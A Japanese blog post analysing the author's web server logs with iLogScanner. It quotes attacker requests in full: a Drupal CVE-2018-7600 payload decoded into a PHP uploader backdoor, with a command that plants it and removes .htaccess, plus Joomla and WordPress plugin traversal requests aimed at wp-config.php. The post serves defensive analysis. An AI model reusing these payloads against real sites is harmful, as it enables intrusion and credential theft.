Webサーバを外部に公開すると、わるい人から攻撃を受けるわけですね。悪い人が何をしようとしたかをログから見つけることで、攻撃の対策や傾向を把握することができます。
今回はIPAで公開されている iLogScanner を使ってNginxのログを解析してみます。無償で使えるので試してみる価値はあります。
ウェブサイトの攻撃兆候検出ツール iLogScanner:IPA 独立行政法人 情報処理推進機構
実行にはJavaの実行環境が必要なので、別途でインストールしておきます。
起動すると以下のウィンドウが表示されます。アクセスログだけでなく、Mod Securityのログや認証ログも解析できます。解析対象のファイルを選択して「解析開始」を押下します。
70MB程度のログだと5分ほどで解析が終わりました。解析途中でもサマリーを表示できるのも便利です。
解析が終わると最終的なサマリーが表示されます。
細かなレポートを確認してみます。全体のうち33件が疑わしいログとして検出されました。
下へスクロールして具体的なアクセスログを見ていきます。Jetpackのアクセスがその他として検出されていることが確認できます。
その他で特徴的なアクセスとして以下がありました。
Drupalの脆弱性を狙った攻撃
102.157.247.162 - - [28/Feb/2019:23:51:19 +0900] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=echo+PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI%2BIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0%2BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8%2B%3D+%7C+base64+-d+%7C+tee+sites%2Fdefault%2Ffiles%2F15697.php+%7C+rm+-rf+sites%2Fdefault%2Ffiles%2F.htaccess HTTP/1.1" 301 178 "-" "Mozilla 5.0" "-" E274
クエリパラメータとしてを解析すると以下になりました。
q=user/password&name[#post_render][]=passthru&name[#markup]=echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnIIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8= | base64 -d | tee sites/default/files/15697.php | rm -rf sites/default/files/.htaccess
これはDrupalの脆弱性(CVE -2018-7600)を狙った攻撃であるとわかりました。
base64でエンコードされている部分をデコードしてみます。
$ echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0+IjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8+= | base64 -d
<?php
echo "PHP Uploader - Raiz0WorM - Bitchzz";
echo "<br>".php_uname()."<br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='zb'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
echo "Success!";
} else {
echo "Failed to Upload.";
}
}
?>base64: invalid input
デコードして現れたのはファイルアップローダのバックドアでした。これを15697.phpとして保存して、.htaccessを削除することでWebからバックドアへのアクセスを可能にしています。複数ある同様のスクリプトのうち、一部のUserAgentが python-requests/2.20.1
であることも確認できました。このことから、攻撃者はスクリプトにより機械的に攻撃を行っていることが伺えます。
アップローダのタイトルに含まれる Raiz0WorM が攻撃者であると推測されます。この攻撃者は継続的にサイト改ざんを行っていることがZone-hで確認できます。調べるとこの攻撃者はPHPスクリプトをバックドアとして設置していることが確認できました。
Joomlaの脆弱性を狙った攻撃
154989 ディレクトリトラバーサル - 158.69.38.241 - - [28/Jan/2019:13:37:13 +0900] "POST /index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&qqfile=/../../../4p4.php HTTP/1.1" 301 178 "-" "python-requests/2.19.1" "-" C446
パラメータqqfile
の値がいかにもディレクトリトラバーサルです。特徴的な文字列として com_b2jcontact
があります。これはJoomlaのプラグインの名称だとわかりました。脆弱性 CVE-2017-5215を狙った攻撃であると判断しました。
エクスプロイトを比較すると類似していることが確認できます。
Joomla Codextrous Com_B2jcontact Components 2.1.17 Shell Upload Vulnerability – CXSecurity.com
WordPressのプラグイン/テーマの脆弱性を狙った攻撃
167307 ディレクトリトラバーサル - 51.68.62.18 - - [26/Jan/2019:07:17:27 +0900] "GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-" C446
テーマmTheme-Unusの脆弱性を利用してwp-config.phpの情報取得を試みた形跡が確認できます。2015年にも確認できている攻撃であるため、昔からの手口かと思われます。
今月の攻撃と怪しい接触(2015年8月版) | arbk-works Blog
167309 ディレクトリトラバーサル - 51.68.62.18 - - [26/Jan/2019:07:17:28 +0900] "GET /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-" C446
プラグイン wptf-image-gallery
の脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。
167311 ディレクトリトラバーサル - 51.68.62.18 - - [26/Jan/2019:07:17:30 +0900] "GET /wp-content/plugins/recent-backups/download-file.php?file_link=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-" C446
プラグインrecent-backups
の脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。
167313 ディレクトリトラバーサル - 51.68.62.18 - - [26/Jan/2019:07:17:31 +0900] "GET /wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-" C446
プラグイン simple-image-manipulator
の脆弱性を利用してwp-config.phpの取得を(ry
167315 ディレクトリトラバーサル - 51.68.62.18 - - [26/Jan/2019:07:17:33 +0900] "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-" C446
プラグイン google-mp3-audio-player
の脆弱性を利用して(ry
332315 ディレクトリトラバーサル - 192.99.35.149 - - [05/Mar/2019:23:57:58 +0900] "GET /wp-content/plugins/eshop-magic/download.php?file=../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-" C446
プラグイン eshop-magic
の脆弱性を(ry
332317 ディレクトリトラバーサル - 192.99.35.149 - - [05/Mar/2019:23:58:01 +0900] "GET //wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-" C446
プラグイン ungallery
の脆弱性を(ry
まとめ
CMS本体の脆弱性を狙った攻撃、CMSのプラグインの脆弱性を狙った攻撃が観測できました。アクセスログの解析をしたことで、攻撃の実態を把握することができました。WordPressのプラグインに注意したいと改めて感じました。
いかがでしたか?
コメントを残す